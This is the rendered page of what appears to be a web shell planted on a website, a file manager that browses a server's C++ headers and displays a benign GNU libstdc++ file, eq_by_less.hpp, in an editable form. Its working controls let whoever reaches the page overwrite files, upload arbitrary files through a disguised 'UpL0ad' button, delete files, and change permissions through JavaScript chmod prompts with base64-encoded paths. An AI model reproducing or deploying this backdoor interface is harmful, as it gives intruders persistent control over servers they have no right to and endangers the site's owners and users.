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<hr>eq_by_less.hpp<form method=post action="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2VxX2Zu&f=ZXFfYnlfbGVzcy5ocHA%3D"><input name="f" value="eq_by_less.hpp"><textarea name="t">// -*- C++ -*-

// Copyright (C) 2005-2023 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library.  This library is free
// software; you can redistribute it and/or modify it under the terms
// of the GNU General Public License as published by the Free Software
// Foundation; either version 3, or (at your option) any later
// version.

// This library is distributed in the hope that it will be useful, but
// WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
// General Public License for more details.

// Under Section 7 of GPL version 3, you are granted additional
// permissions described in the GCC Runtime Library Exception, version
// 3.1, as published by the Free Software Foundation.

// You should have received a copy of the GNU General Public License and
// a copy of the GCC Runtime Library Exception along with this program;
// see the files COPYING3 and COPYING.RUNTIME respectively.  If not, see
// &lt;http://www.gnu.org/licenses/&gt;.

// Copyright (C) 2004 Ami Tavory and Vladimir Dreizin, IBM-HRL.

// Permission to use, copy, modify, sell, and distribute this software
// is hereby granted without fee, provided that the above copyright
// notice appears in all copies, and that both that copyright notice
// and this permission notice appear in supporting documentation. None
// of the above authors, nor IBM Haifa Research Laboratories, make any
// representation about the suitability of this software for any
// purpose. It is provided &quot;as is&quot; without express or implied
// warranty.

/**
 * @file eq_by_less.hpp
 * Contains an equivalence function.
 */

#ifndef PB_DS_EQ_BY_LESS_HPP
#define PB_DS_EQ_BY_LESS_HPP

#include &lt;utility&gt;
#include &lt;functional&gt;
#include &lt;vector&gt;
#include &lt;assert.h&gt;
#include &lt;ext/pb_ds/detail/types_traits.hpp&gt;

namespace __gnu_pbds
{
  namespace detail
  {
    /// Equivalence function.
    template&lt;typename Key, class Cmp_Fn&gt;
    struct eq_by_less : private Cmp_Fn
    {
      bool
      operator()(const Key&amp; r_lhs, const Key&amp; r_rhs) const
      {
	const bool l = Cmp_Fn::operator()(r_lhs, r_rhs);
	const bool g = Cmp_Fn::operator()(r_rhs, r_lhs);
	return !(l || g);
      }
    };
  } // namespace detail
} // namespace __gnu_pbds

#endif // #ifndef PB_DS_EQ_BY_LESS_HPP
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/include/c++/13/ext/pb_ds/detail/eq_fn<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2VxX2Zu"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2VxX2Zu&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWls"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2VxX2Zu&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2VxX2Zu&x=ZXFfYnlfbGVzcy5ocHA=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2VxX2Zu&f=ZXFfYnlfbGVzcy5ocHA="/>eq_by_less.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2VxX2Zu&f=ZXFfYnlfbGVzcy5ocHA=&c=`+btoa(c):0" value="0644"></td><td>2330</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2VxX2Zu&x=aGFzaF9lcV9mbi5ocHA=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2VxX2Zu&f=aGFzaF9lcV9mbi5ocHA="/>hash_eq_fn.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2VxX2Zu&f=aGFzaF9lcV9mbi5ocHA=&c=`+btoa(c):0" value="0644"></td><td>3739</td></tr></table>